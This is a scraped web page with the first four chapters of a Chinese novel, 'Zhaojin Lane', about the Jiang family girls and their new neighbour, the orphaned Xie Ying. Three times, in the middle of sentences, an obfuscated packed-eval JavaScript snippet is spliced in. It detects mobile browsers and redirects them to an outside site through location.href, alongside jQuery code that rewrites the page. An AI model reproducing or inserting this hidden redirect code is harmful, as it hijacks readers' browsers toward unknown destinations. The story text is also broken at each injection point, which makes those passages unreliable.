《照金巷》 1. 新鲜 蒋娇娇风一样跑进她小姑房里，二话不说冲着床上躺着的人身上就是一扑。 蒋黎顿时“嗷”了一声，生生从睡梦中被这么个突如其来的重物给压醒了。 她惊恐地下意识垂眸看了眼，随即冲着面前的小圆脑袋就怒喝开了：“蒋娇娇！” 蒋黎有起床气，而且很严重。 一个闷闷的，满是稚嫩的声音于此时幽幽飘了上来：“快辰时了。”说话间还隐约带了些鼻音，听上去惨惨的，像在撒娇，又好像有些委屈的样子。 “……”蒋黎重重叹了口气，无奈又颇感好笑地道，“公鸡打鸣都没你这么准时的。” 蒋娇娇抬起头来望着她小姑，眼神颇为认真。 “它烦人得很，早就打过了。”她说，“你快点起来。” 蒋黎这才想起前两天被养到蒋娇娇院子里的那只公鸡，忍了忍笑，一边随手拨开她，示意女使侍候自己起床梳洗，一边随口说道：“你就该多被它烦些日子，也好懂得勤心向学的道理。” 提到这个，蒋娇娇就皱了眉头：“谢夫子坏得很。” 蒋黎盥漱完，擦了擦嘴，说她：“你还怨别人坏？人家方教了你一个月，你一月里天天因为起不来床迟到，谢夫子只送了你只公鸡还算是好的，要是我——”她呵呵笑了两声，“准得照你屁股来两巴掌。” 这话要是别人说蒋娇娇肯定不信，可出自她小姑之口，她顿时就有点忐忑了，于是不由捂住了自己的屁股墩儿，老实道：“我这两天没迟到了。” 蒋黎没说什么，正全神贯注地在梳妆。 蒋娇娇刚老实了片刻就又有些不耐烦了，催促道：“小姑，我饿。” “等着。”蒋黎言简意赅地回道。 蒋娇娇看着她慢条斯理在画眉涂黄的样子，忽然很后悔自己没有抱着那只公鸡一道来。 “小姑，”她抱怨道，“你好麻烦。” “你以后也这么麻烦。”蒋黎不急不慢地道，“放心吧，我们不过出去吃个饭，肉饼到你手里还没凉，咱们就回来了。”说完想起什么，“哦，还不耽误你们上学。” 蒋娇娇只能忍了。 片刻后，她终于等到了蒋黎起身。 “走吧，小祖宗。”蒋四姑娘伸了手来牵自己的宝贝侄女。 然而两人手牵手地才刚走出门口，就迎面遇上了金大娘子身边的王妈妈。 “大娘子让我给两位姑娘送那王婆家刚出炉的肉饼子来。”王妈妈笑盈盈地说着，一边吩咐女使将食盒提进屋里摆上了桌。 蒋娇娇和蒋黎大眼对小眼地相视了半晌。 “王妈妈，”蒋娇娇立刻不干了，委屈道，“娘昨晚不是同意了我们出去么？” 王妈妈委婉地道：“天气凉了，大姑娘年纪小，老爷担心你在晨风里头吃东西凉着肚子，便让大娘子着人去买了回来。” “我们在车里吃！而且这个要刚出炉的才好吃！”蒋娇娇气得跺脚，眼圈儿也有些发红。 王妈妈一看就知这小祖宗要闹脾气，忙蹲身将她半搂住，哄道：“大姑娘放心，这饼也是新鲜的，出了炉就急急放在温盘里头带回来了。” 蒋娇娇却扭着身子从她臂弯里滑脱出去，抬脚就要往她娘的院子里跑，满满一副“我要去说理”的架势。 蒋黎眼疾手快地将她一把捞了回来，按住蒋娇娇乱蹬的腿就返身进了屋，眼见对方嘴巴一张便似要哭的样子，当即唬道：“你要是敢哭我就再不带你出门了。” 蒋娇娇本就是习惯性要耍委屈，乍然一听，顿时紧紧闭上了嘴，硬是使劲没让已到眼角的泪珠子掉出来。 一张小脸瓜子涨得通红。 王妈妈在旁边目光担忧地看着。 蒋黎见她不闹了，这才缓了语气又给她“递枣儿”：“娇娇乖，这两天确实天气有些阴沉，我瞧着那冷风都打怵。再说你大哥哥一向爱同你比，你要闹着去他定然也不肯老实在家待着，外头这风你也不怕把他吹着？” 蒋娇娇顿了顿，又皱眉，气道：“大哥哥最不老实！” 蒋黎见状，也不露笑，只附和道：“对啊，你既知他不老实，不如就让让他。等过两天天气晴好的时候，我们再带着他一道出去，也免他眼馋。” 蒋娇娇没再说什么。 王妈妈默默松了口气，向蒋黎投去了感激的目光。 两人这才又哄着蒋娇娇开始吃起了早饭。 蒋家姑娘的早饭桌上自然不可能当真只摆一盘肉饼，除了两碗七宝素粥之外，王妈妈还给她们准备了杂色煎花馒头，并配了七八碟子小菜。 一如既往的丰富。 蒋娇娇却看也不看地径自挑了块买回来的肉饼放进嘴里，嚼了两嚼，脸上瞧不出是喜欢还是不喜欢，不过倒是乖乖咽了下去，然后又夹了一块。 一直观察着她动静的王妈妈这才真正放下了心。 蒋娇娇忽想起什么：“给大哥哥送了些去么？” 王妈妈忙笑道：“大姑娘放心，拿回来时便给大公子分送了去。” 蒋黎就看见她六岁的侄女像大人似地端端点了点头，不由颇感好笑，于是又逗她道：“你莫要磨蹭，快些吃了，回去再洗个脸手准备上课，不然小心谢夫子又向你爹告状。” 兴许是心里那股子没出成门的余气还未全散，这会子听到谢夫子这三个字，蒋娇娇也不老实了，脱口便回敬道：“我把那只公鸡的毛给他拔了！” 蒋黎再忍不住地“噗嗤”笑了出来，一旁的王妈妈并几个女使也颇为忍俊不禁。 蒋娇娇被她们笑得有些没头没脑，正寻思莫非自己这个反击有什么不好的时候，就见门外又来了个女使，恭声道：“谢夫子今日请了假，说是族里的侄孙刚来了正在安置，老爷让过来给姑娘禀一声。” 蒋黎听着不免觉得新奇，讶道：“我还是头回见谢夫子家有亲戚来。” 照金巷里如今一共住着四户人，谢夫子家便是其中之一。只是蒋、谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529257|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两家做了这么多年的邻居，不说别的，就蒋黎也是直到今天才知道原来孤家寡人一个的谢夫子还有亲戚能往来。 蒋娇娇本也是隐隐觉得哪里不对，此刻听小姑这么一说才反应过来，顿时明白有新鲜看，于是立刻丢下了碗筷，跳下凳子就往外跑，只丢下一句：“我去给夫子送个礼！” 待蒋黎反应过来，便也道了句“我陪娇娇去送礼”，然后就也跟着跑出去看热闹了。 不待王妈妈吩咐，两人的贴身女使已紧随而去。 王妈妈无奈地摇摇头，望着两人背影不由地笑叹道：“托老太太的福，两位姑娘也太能跑了些。” *** 谢夫子的家位于照金巷北曲，是整个巷子的最深处，因门前有拐角折墙和大榕树挡道，人乘车而来只能行进至树下便要徒步。平日还好，但若是需要搬提行囊则难免有些周折，所以当蒋家姑侄两个赶来的时候，那辆平头车还仍停在大榕树下，两个壮汉围站在前，正在谢夫子的安排下卸着行李。 蒋黎牵着蒋娇娇走过去，含笑招呼道：“谢夫子，听说您家来亲戚了？” 谢夫子长得瘦瘦小小，却偏爱戴大冠，蒋黎总感觉显得他有些头重脚轻，每次看他点头都担心他不小心栽下去。此刻，谢夫子仍戴着他惯用的那顶道冠，正冲着她笑眯眯地连连点头：“是啊是啊。” 蒋娇娇在旁边看得睁圆了眼睛——她还是头回见谢家老头笑成这样，这是有多高兴啊？ 她一直觉得谢夫子只会阴阳怪气，且做了她一月的老师也没说请她到家里玩玩儿，还告她黑状。此时倒见他只乐呵呵的样子，蒋娇娇不免想起了自家祖母，顿时又更好奇了些谢家来的这个亲戚到底是什么样子。 她很想进去看看，但想到人家又还没有请她进去，她只好又伸长脖子暗示了一番。 谢夫子果然注意到她踮脚张望的动作，然而却是眉头一皱，问道：“大姑娘怎么今日也闲得很么？” 他本意是想提醒她温习功课，谁知蒋娇娇却立马来了句：“夫子今日不上课，学生难得闲着挂念您！”又不等对方答话便已续道，“所以特意从家中提了酒来，您要不请我们进去坐一坐？” 谢夫子：“……”你这小丫头倒直接！ 他不由自主地朝蒋家女使手中捧着的酒壶看去，忍不住清了清嗓子，却听蒋黎又笑道：“谢夫子莫不是怕我们惊着您那侄孙？这就见外了不是？别说您现在正教咱们家娇娇读书识字，就这隔着一道院墙的关系，我们也该来替您高兴高兴啊！” 谢夫子起先没搭理她，等兀自向两个脚夫道了谢，又自拿出两枚钱来打完赏，这才回过头来，似半无奈又半意味深长地笑道：“四姑娘说得是。不过我那侄孙年纪尚小，旁的倒没有什么，只是你这副伶俐口齿还须得向他忍忍。” 蒋黎笑道：“在您面前，我这小巫自不敢造次。” 谢夫子半笑着挑了挑眉毛，倒也没再说什么，转身领着两人往院内行去。 2. 五五 作为如今照金巷里唯一一家用竹篱结院，半瓦半茅搭建的屋子，谢家在蒋娇娇眼里一向都有些“鹤立鸡群”。瓦屋她见得多——自己家就是好大好大的一座；茅草房她出门的时候也看到过不少，听说早几年的时候巷子里也还有好几户草屋人家来着，但像谢夫子这样混着修盖的，她还真没见过，向来颇感新鲜。 好不容易今日得着机会进来参观，她进门头件事便是忍不住往东北面那唯一用砖瓦修成的屋子瞧了过去 这一眼瞧过去，恰好正瞧见一个白净清瘦的男孩子抱着床被子，低头从里面走了出来。 他抬眸时，正好也不经意撞上了她的视线。 两人不由俱是一愣。 蒋娇娇定定地看着他。 他却很快回过神来，然后便又垂下了眼帘，直挺挺站在那里，不动，也没说话。 “阿暎，”谢夫子笑着向他道，“过来见见客人。这两位是蒋家——哦，就是咱们隔壁这座，嗯，富丽之家的姑娘，往后你们便是邻里玩伴了。蒋大姑娘比你小一岁，你可唤她声妹子。” 蒋黎不动声色地朝谢夫子看了眼，佯作不察对方言语间的酸气和口头便宜，转过来笑眯眯对那被唤作阿暎的男孩子道：“好俊的小男娃，要不是你叔祖说，这大街上瞧着谁敢信你们两个竟是亲戚啊。”言罢，还呵呵笑了两声。 谢夫子一口气冷不丁被她哽住，咳了两咳，目光随即不经意落在了阿暎的手上，于是问道：“你抱着被子做什么？” 先前始终显得文静沉默的男孩子此时方缓声开了口：“我若住在书屋里只怕会妨碍叔祖读书，正想与您商量换个地方。” 他说这话时目光始终半垂着，并不与人对视，一字一词也十分从容清晰。但饶是如此，蒋黎还是察觉了他微微收紧的手臂所透出来的紧张和拘谨。 她微感诧异，视线在他身后的瓦房和周围的草屋转了一圈，隐隐有些了然。 只听谢夫子道：“你叔祖读书没那么多讲究，能读得的在哪里也能读得。”边说，边已走上去伸手接过了阿暎抱着的被褥，“我那寝屋是住惯了的，再说平日里不时还要用来见见客，定不能换给你。家里头除了这两间便只剩个灶房，你若去睡了，岂不让我被人笑话。” 言罢，他便二话不再说地径直又将被子给抱了进去。 蒋娇娇犹豫了一下，凑上前，对正站在原地似有些无措的阿暎小声说道：“他家肯定还有厕屋，但是那个不能睡人的，你便听你叔祖的话吧。” 阿暎：“……” 蒋黎：“……” 片刻后，谢夫子返身走了出来，又笑呵呵地拍了拍阿暎的肩，说道：“灶上有热水，自己去洗个脸，中午叔祖带你外头吃顿素席，顺便认认路。” 阿暎没有多说什么，微点了点头，然后又转过身来，向着蒋黎和蒋娇娇两个浅浅低首一礼，这才去了灶房。 等他走远了，谢夫子方轻叹了一口气。 “这孩子名谢暎，是族里从兄托给我的，父母前两年都没了，里头还穿着孝呢。”他说，“他爹原是已考中了举人的，我看这孩子也像是块读书的料，等回头把他送去学里和你们家大郎做同窗。” 蒋黎明白他的意思，点头道：“您放心，我会让修哥照顾着他。” 谢夫子温笑了笑：“谢四姑娘了。” 蒋黎又问道：“他这么小，族里也没来个人送他么？”虽说出远门雇请出陆行老承揽在途服役也是常事，但大人出门和一个小娃孤身上路又有不同。 谢夫子神色间的无奈便又再深了些，更低声道：“他家中近亲忌讳他是五五生子，唯有我那从兄还肯替他多着想些前路，但人年纪大了，自不可能随行。” 蒋黎恍然大悟。 蒋娇娇听不明白什么五五生子，但却将谢暎失了双亲又被其他亲戚嫌弃的事情听得分明，想起他先前静静站在门前的样子，觉得心里略有些不痛快。 恰听蒋黎道：“晚些我让人多送两床被褥来，夫子莫推辞，就当我们欢迎新邻了。” 谢夫子本就没打算与她客气，闻言呵呵笑道：“那就谢谢四姑娘了。” 蒋娇娇一听要给谢暎送礼，顿时有些迫不及待地跟着她小姑走了。 刚从谢家出来，她们就看见榕树底下站着两个人，一个与谢暎身高、年纪都相仿，乍眼看去安静如狗，其实神色拽得二五八万的——这是她们家的大郎，蒋娇娇的同胞哥哥，蒋修；一个则是与蒋娇娇身形差不多的女孩子，这是巷子里另一户姚家的姑娘，姚之如，也是蒋娇娇的好朋友。 此时，蒋修穿着身缎面绣花的短打，正像个大人似地抱着手靠站在树下；姚之如则由小女使陪着站在与他相隔两臂的位置，正朝着谢家方向张望，见着蒋黎、蒋娇娇两个出来，便立刻迈着碎步迎了上来。 蒋娇娇知她走路不快，于是习惯地疾向对方迎去。 “你见到谢夫子家那小亲戚了？”一碰头，姚之如即好奇地向蒋娇娇问道，“长什么样子？”又道，“我先前不好意思出来瞧，就隔着门缝什么都看不清。” 蒋娇娇果断地说道：“好看。” 姚之如更好奇了：“那比沈小官人差多少啊？” 她口中的沈小官人便是这巷中唯一官身的沈家老爷的次子，沈约。 蒋娇娇向来和沈家姑娘不对付，故而也一直有种厌屋及乌的心情，听了这话想也不想地便道：“谢暎好看。” 姚之如冲她瞪眼：“我不信。”说完，又故意提高了些声音问道，“那同你大哥哥比起来呢？” 蒋娇娇下意识地往旁边看去，果然正对上闻声瞥来的蒋修的目光。 她立刻机警地转了话题，对她哥道：“小姑说要给谢暎送乔迁礼，大哥哥你来选吧？” 八岁的蒋修抱着手，思考状拿了会儿乔，点头道：“可以。”然后问他小姑，“你们想送什么？” 蒋黎故意道：“娇娇说要拿你屋里新好的东西来送。” 蒋修倒是一点没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529258|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有舍不得，下巴一扬，瞧了眼小妹，便道：“成，那你让她来挑。”说完，转身便潇洒往回走了。 姚之如有些诧异，对蒋娇娇道：“你大哥哥怎么对这新来的这么好？” 蒋娇娇一向维护自己人，于是道：“我大哥哥原就很好。” 姚之如小声道：“可我还是挺怕他。”又笃定地道，“我不信你不怕。” 蒋娇娇其实倒不觉得有什么可怕的，但此时她并没心情讨论这个，反问姚之如：“你知道什么是五五生子么？” 姚之如诧道：“不就是五月初五出生的人么。” 民俗向来以五月为恶月，端午节那天许多习俗也都与祛恶穰灾有关，所以老话也有“忌五月生子”的说法。 但蒋娇娇还真是头回听到这样的“俗话”。 于是她沉默良久后，发出了来自灵魂深处的疑问：“那五月出生的猪能吃么？” 姚之如被难住了，她也不知道自己吃没吃过五月出生的猪。 然后两个人就打算各自回家问一问再来对答案。 因为小姑蒋黎也不太清楚五月恶有什么具体的禁忌，所以蒋娇娇就准备去问问她娘亲金大娘子。 结果半道上遇到了蒋修派来催她过去选东西的小厮。 蒋娇娇颇感盛情难却，只好先改道去了。但因她也有些意外蒋修这次的上心程度，所以当她从她哥屋里真挑中了一座玉枕屏的时候，便忍不住小心问了句：“你真舍得？” 蒋修果不觉得有什么，随意地道：“不过一个枕屏，有什么舍不得。回头我陪你一起去送。”说完，又佯作不经意地问道，“你说他看起来很有礼貌，那我比他大，又送了礼物给他，他是不是该叫我一声‘兄’？” 蒋娇娇茫然道：“不知道啊。” 蒋黎过来的时候正好听见这两小傻子的对话，笑道：“你又不是没有弟弟，巴巴地送礼去求着外面人叫你‘兄’做什么？” 蒋修也不说为什么，只犹状似无意地道：“那又不同。” 蒋黎“嗤”了一声，笑而不语。 蒋娇娇才不管这些，只问她姑：“你选好被面了么？” 蒋黎点头：“他还在孝期，我便选了两个花色素净的，等回头修哥下了学，你们两个一起送去就是。”又道，“不过这玉枕屏就别送了，这东西咱们家用着是平常，但谢夫子家却不兴这些，我怕反倒让人家不自在。” 蒋修若有所思地点了点头，然后果断地把枕屏放了回去，又对蒋娇娇道：“那算了，回头我们两个去送被褥时再赠些干果子请他吃。” 蒋娇娇乖乖点头。 蒋修又提醒道：“你等着我回来啊。” 蒋娇娇道：“那你早点回来，别同他们玩球。” 蒋修爽快地应了。 兄妹两个这边话音方落，门外便走进来一个中年妇人，正是在蒋黎身边服侍的梁妈妈。 只见她笑得眉眼弯弯，向着蒋黎便道：“姑娘，郑家送定帖来了。” 3. 朋友 蒋家和郑家正在议亲。 议的不是别人，正是今年十八岁，尚待字闺中的蒋黎。 郑家也是商户，家中是经营金银铺的，在东大街和金梁桥街都有店面，也算得上是富户。蒋黎刚十五岁的时候，郑家老太太就已找了媒户来提亲——但当时想向蒋黎提亲的并不止一家，加上因蒋老太太快四十岁时才得了这么个幺女，一向疼爱得很，所以既想她多陪自己两年，又想再好好替她斟酌一番，故当时并没有说定。 直到今年夏天的时候，郑老太太亲自上了门，还把自己的小孙子也一并带了来给蒋老太太过目，蒋老太太见对方这般诚心，又瞧那郑家小郎生得副俊朗相貌，言行举止也斯斯文文，颇有那士人家郎官的风范——这点更是投了蒋黎二哥，也就是蒋家家主的喜欢。故而在儿子的劝说下，蒋老太太问过蒋黎的意思后，便收下了郑家这次送来的求婚启。 于是按照俗例，蒋家之后便先准备好草帖让媒户送去了郑家。 因草帖上便需初步具明随嫁田产奁具，所以蒋老太太很是认真准备了几天。郑家那边收到后大约也是认认真真地去卜了个吉，所以再送来自家的草帖时便已差不多入了秋。 等到蒋老太太拿着郑家的草帖也卜完了吉，再让媒户去那边传达了自家同意结亲的意思后，便是直到今日，郑家正式送了定帖上门。 已是十一月十一了。 梁妈妈是奉蒋老太太的意思来请蒋黎过去的。 蒋娇娇在旁边兴奋地蹦蹦跳跳：“我也去我也去！”小孩子对这些凑热闹的事最是感兴趣。 蒋黎禁不住有些脸红。 蒋修呵呵笑了两声，说了句：“小姑，慢走。” 蒋黎听出他调侃的意思，气笑不得地抬眸横了他一眼，赶道：“快滚。” 蒋修笑了笑，转身出门带着小厮去了学堂。 蒋娇娇果然像块贴身膏药似地跟着她小姑去了祖母那里。一进门，她便瞧见自己娘亲也坐在里头，乍眼相见间突然想起什么，于是蹭蹭蹭跑到她祖母面前，像只小鸟似地一头扎进了老太太的怀里，娇声道：“婆婆，爹爹和娘欺负我。” 蒋老太太平日里最爱的就是幺女和这个独孙女，一见蒋娇娇这番粘人姿态，顿时心都软成了水，当即搂住她哄道：“哎哟瞧把我的小心肝委屈的，娇娇告诉婆婆，你爹娘怎么欺负你了？” 蒋娇娇就把早上自己没能出成门吃到真正新鲜的王婆肉饼的事给说了，末了，还带着鼻音软糯糯地道：“娘说话不算数，她只听爹爹的，不听我和小姑的。” 蒋黎在旁边被她呛出一声咳嗽来，忙对着自己老母亲和嫂嫂摆手道：“不不，我没意见。”又特对金大娘子说道，“二嫂嫂，你和二哥哥尽管恩爱，我绝没有多的话说。” 蒋老太太不由地笑出了声，和儿媳对视看去，后者也是眉眼温柔地微微地笑。 “娇娇，”金大娘子开口唤道，“别去扰你婆婆和小姑的正事，过来我这里好生坐着。” 蒋娇娇冲着她娘轻吐了下舌头，然后挨在她祖母身畔坐了下来，倒也老老实实地没有再闹腾。 蒋老太太爱惜地摸了摸她的头，霭声道：“回头婆婆去跟你爹爹说。”又对金大娘子道，“二郎也确实太小心了些，小孩子还是要粗养着才能长得好，他既疼爱娇娇，就莫在这些小事上同她过不去了。” 金大娘子含笑礼道：“阿姑说得是。” 蒋娇娇开心地晃了晃自己的小短腿。 蒋老太太是让蒋黎来商量相亲的事。 “等咱们家回了帖，郑家便要提日子来约了。”蒋老太太说道，“我先前同你二嫂嫂商量，想把地方定在陈留那边的别院里，那里环境好也清静，我们也正好一同去住些日子。只是估计那里修缮还需要些时日，可能要等到沈家老太太的大寿宴席之后了，你觉得可以么？” 蒋黎怎么可能会对这个有意见，当即道：“女儿都听娘的。” 蒋老太太打趣道：“哦，平日里倒不见你这般事事顺从。” 蒋黎闹了个红脸，嘴上硬气道：“那不然娘又去同郑家那边说，我着急得很，明日便要与那郑家官人相见？” 蒋老太太哈哈笑起来，点了点女儿的脑门：“你这促狭鬼。”又笑道，“我看家里这些小的全都是被你给带的。” “娘若要这样说，那我也是把他们带得往好了去。”蒋黎道，“今日谢夫子那从侄孙搬来，我可是头一时间便带着娇娇和修哥去送礼的。” 蒋娇娇在旁边帮腔：“小姑给谢家哥哥挑了两床被褥，让我和大哥哥晚些时候一同送去。” 蒋黎就顺便把谢暎的身世说了一遍。 蒋老太太听地忍不住“阿弥陀佛”起来，叹道：“好可惜的娃娃。”又对孙女道，“往后你们要好好与人家相处。” 蒋娇娇点头道：“我们是朋友！” 蒋老太太摸摸她的头，又对金大娘子道：“我看要不让家里送个素席过去？” 金大娘子颔首：“我这就安排。” 蒋娇娇很高兴，可转瞬便又想起了谢夫子说中午打算带谢暎出去吃饭的事，因生怕他们先走了，忙道：“婆婆，我先去给谢夫子说一声，别让他们跑了。” 因着各家往来的缘故，照金巷里的大人们从不拘着孩子互相串门。于是金大娘子笑着道：“那你跟着王妈妈一起去，顺道先把礼物带上门给人家。” 蒋娇娇立刻应了，而且还主动跑过来牵住了王妈妈的手，催促道：“我们快走。” 王妈妈给主家们行过礼，便笑着牵了她去了。 蒋老太太含笑看着小孙女雀跃的背影，感慨道：“娇娇这跑路的样子还真是和四娘小时候一模一样。”又道，“不过这性子倒是比他们几个小时候都好。” 蒋黎捧道：“那还不是多得娘您当初拦住了二哥哥给娇娇裹脚，不然我也不能带着她跑。再有这性子，也必定是像您才能这么讨人喜欢。” 蒋老太太被她哄得呵呵直笑。 金大娘子莞尔，垂眸往自己裙下微露出的一双玲珑足尖看去，两息后，又不着痕迹地将秀足与目光同时收起。 *** 蒋娇娇终于在王妈妈的陪同下紧赶慢赶地来到了谢家屋前，谁知出乎意料的是，她却忽然见到从灶房顶上飘出了炊烟。 王妈妈替她上去叩了叩竹扉，客气地问着套话：“谢夫子可在家？” 很快，谢夫子便出来开了门。 乍见到蒋娇娇，他起先还有些意外，随即看见了一旁的王妈妈和手捧被褥的女使，立刻明白了过来，于是笑着侧开了身子，说道：“小娘子有心了，劳妈妈亲自跑一趟。” 王妈妈回笑着还了话，又道：“这是我们大公子和大姑娘对谢小郎官的心意，还请夫子代为收下。”又道，“老太太听说谢小郎官今日乔居而来，已吩咐了厨房准备斋席，待会便要送来，也还请夫子留步稍等等。” 谢夫子没想到蒋家还打算送饭过来，愣了愣，却道：“席面就不必了，代我谢过老太太好意，我们家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529259|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灶上已开始做了。” 王妈妈本打算再劝两句，但开口之际却敏锐地察觉到了对方眉目间的不悦之色，于是及时地收了口，转而笑着应好，只问明了地方，吩咐女使进去把东西放好。 蒋娇娇四处看了一圈，最后将视线定在了灶房的位置，问道：“谢夫子，谢暎呢？” 谢夫子随口道：“在里头做饭呢。” 蒋娇娇霎时瞪圆了眼睛。 谢夫子一愣，旋即忙道：“可不是我要他做的……” 蒋娇娇已经转身跑进了灶房。 谢暎果然正搭着个小板凳站在灶台旁，一手端着碗，一手拿着勺，在往滚着热汤的大锅里下面饼。 蒋娇娇径直走过去，站在他身边，从他的脚下慢慢抬头移动目光，最后，仰着脸将视线落在了他的脸上。 谢暎早看见她走了进来，但他一是手里在干活没空招呼她，二也是陌生感使然并不太想招呼她，所以起先便假装着没瞧见她，好像自己多么全神贯注。 但蒋娇娇也不着急，她不出声，也没走开，就这么望着他。 最后还是谢暎败下阵来，终于转过头，垂眸朝她看去。 两人对视了几息，他问：“你有事么？” 语声微低，甚至有些轻。 蒋娇娇看着他，说道：“我是蒋娇娇。” 谢暎顿了顿，回道：“嗯，我记得，蒋小娘子。”又问，“你有事么？” 他其实想说，你若没什么事那就走开吧。即便真有什么事，也该去找我从叔祖，而不是我。 谁知蒋娇娇却望着他，说了句：“你还会做饭啊？做得好吃么？以后我们一起玩儿，你做了给我也尝尝好不？” 谢暎：“……” 会一点。 做得一般。 我为什么要给你尝？ 转瞬间他已在心里闪过了她这三个问题的答案。 然而最后，他迎着蒋娇娇期待的目光，只淡淡回了声：“……嗯。” 很平淡的一声。他故意的，因为这样便听不出是在回她还是在承诺她，他还有可以后退和敷衍的余地。 果然蒋娇娇并没有听出他的用意，听到他应了声“嗯”就高兴起来，只是唇角高高翘起还没来得及笑开，谢暎就看见她又皱着眉头低下了眼帘。 然后，她竟伸手来拉他。 “你先下来，”她说，“我脖子酸。” 谢暎只好顺着她从板凳上下来了。 “你还有别的事么？”他不动声色地抽回手，认真地看着她，问道。 蒋娇娇也认真地看着他，说道：“我刚才问过了王妈妈，她说不仅五月生的猪可以吃，其他鸡鸭鹅的什么也都可以吃。” 谢暎莫名其妙，没有言语，只安静地看着她。 “我喜欢吃猪。”她说。 谢暎心想：关我什么事？我这里又没有猪。 “不管几月生的都好吃。”她又说。 谢暎已经不想跟着她的话去费脑子了。 “我……” “等你明年生辰的时候，我请你吃全猪宴啊！” 两个稚气的声音同时响起，而谢暎却只来得及说了个“我”，余下的“还有事”三个字便猝不及防地被堵在了蒋娇娇的话音里。 他看着满目笑意的她，有些发怔。 熙宁十二年十一月十一日，谢暎来到京城，住进了他从叔祖谢熹的家里，成了蒋家大姑娘的邻居，然后——第一次煮坏了他最擅长做的汤饼。 4. 负担 谢夫子把蒋家人送走后，便回过头来找他的从侄孙。 一进灶房门，他就看见那小小的一个人正对着刚起锅的汤饼面露愁色，后者抬眸也瞧见了他，便随之又站得更端正了些，唤道：“叔祖。”又续道，“对不起，我先前走了神没看住火，汤饼有些坨了，我再重新给你做吧。” “好了好了。”谢夫子笑笑摆手，招呼他过去，“咱家没有那么多讲究。我原是要带你出去吃的，倒是你不嫌麻烦，那中午你就将就了，晚上我们再出去。” 谢暎自觉此番表现砸了锅，也说不出什么来，耳根子微红地低下了头。 两个人都不是对吃食多么讲究的，于是一碗微坨的汤饼很快便热乎乎地下了肚。饭罢，谢暎又主动地去洗了碗，然后才回到自己居处所在的书室里，打算再整理一下东西，顺便还能看会儿书。 书室不大，他刚进去便一眼看见了角落里那张已近乎焕然一新的卧榻。 谢暎愣了两息，然后立刻转身出来，对正坐在懒架上摸着肚皮消食的谢夫子说道：“叔祖，榻上的被褥……” “哦，就蒋家小娘子刚才带人送来的。”谢夫子还笑着冲他挑了挑眉，“好看吧？缎面文绣的被子，我摸了两把，软得很，舒服。还有床更厚实些的，我给你收起来了，等再冷些拿出来换上。” 谢暎虽不如大人们识货，可他有认知，也有直觉，所以他能够看得出这被褥的确是好东西，不止是好东西，而且对现在的他来说，这无疑肯定还是个贵东西。 他感到很不安。尤其是当从叔祖说两床被褥都是要给他用的时候，他更是拿不准对方是不是在等着自己主动表示些“孝心”。 于是思绪微转之后，他便开口说道：“侄孙初来乍到，想来蒋家小娘子是看在叔祖的面上才送了这样的好东西来，还请叔祖先用。” 他心里也想，若是从叔祖把那床更好的拿去了，自己的负担也才能轻些。 谢夫子听了这话，却一时没有言语，而是盯着他看了半晌，直把谢暎看得有些局促起来，才忽而一笑，又不以为然地说道：“这算什么好东西。人家蒋家是富贾，做的本就是布货买卖。你瞧着不舍得买的，于人家手里头不过寻常，放着也是占地方的玩意儿。别人既是要与你交朋友，那你收了也就收了，往后大家如平常般好生相处，也没什么可心亏的。”又颇自得地道，“且那蒋大姑娘现在跟着我认字，尊师重道也是应当。” “至于我，你就不必操心了。”谢夫子悠悠道，“你瞧着不好的，我却觉得亲近，用久了其实真还舍不得给你。” 谢暎顿了顿，回头又往那张卧榻上看了一眼，没再说什么。 院门外忽然又传来了声音。 ——“谢夫子在家么？” 祖孙两个不由对视一眼，谢夫子使了个眼色，谢暎了然，走过去打开了竹门。 门外站着个梳着一窝丝，身穿檀香色素纹褙子的老妇人，身后还跟着两个女使，一个端着座绘有墨梅的纸枕屏，一个则捧着香炉。 老妇人见着谢暎，迅速上下一顿打量，随即便笑了起来：“想必这就是谢夫子的侄孙小郎了吧？” 谢夫子此时也已从后面缓步走了上来，见之，便已猜到了对方的身份，于是亦笑道：“妈妈来此有事？” 老妇人客气道：“我们家大姑娘听说巷子里头搬来了新邻，所以特让我送两样迁居礼来给谢家小郎。” 谢夫子呵呵笑着，拉过谢暎侧身让开，说道：“替我们谢过沈小娘子。” 谢暎有点意外，但还是很迅速地跟着他叔祖作出了反应，礼貌地道过了谢。 等送走了沈家的人，他便问道：“叔祖，这位沈小娘子也是您的学生么？” “我哪能有那个资格。”谢夫子笑着这般说道。 谢暎敏感地听出了他言语间状似不经意的两分自嘲，顿时不禁有些懊恼自己好像问错了话，于是决定闭上嘴。 然而谢夫子却主动地续了下去：“你叔祖我不过一个老秀才，人家沈主簿可是正经的进士及第，他的儿女启蒙都是他亲自带的。” 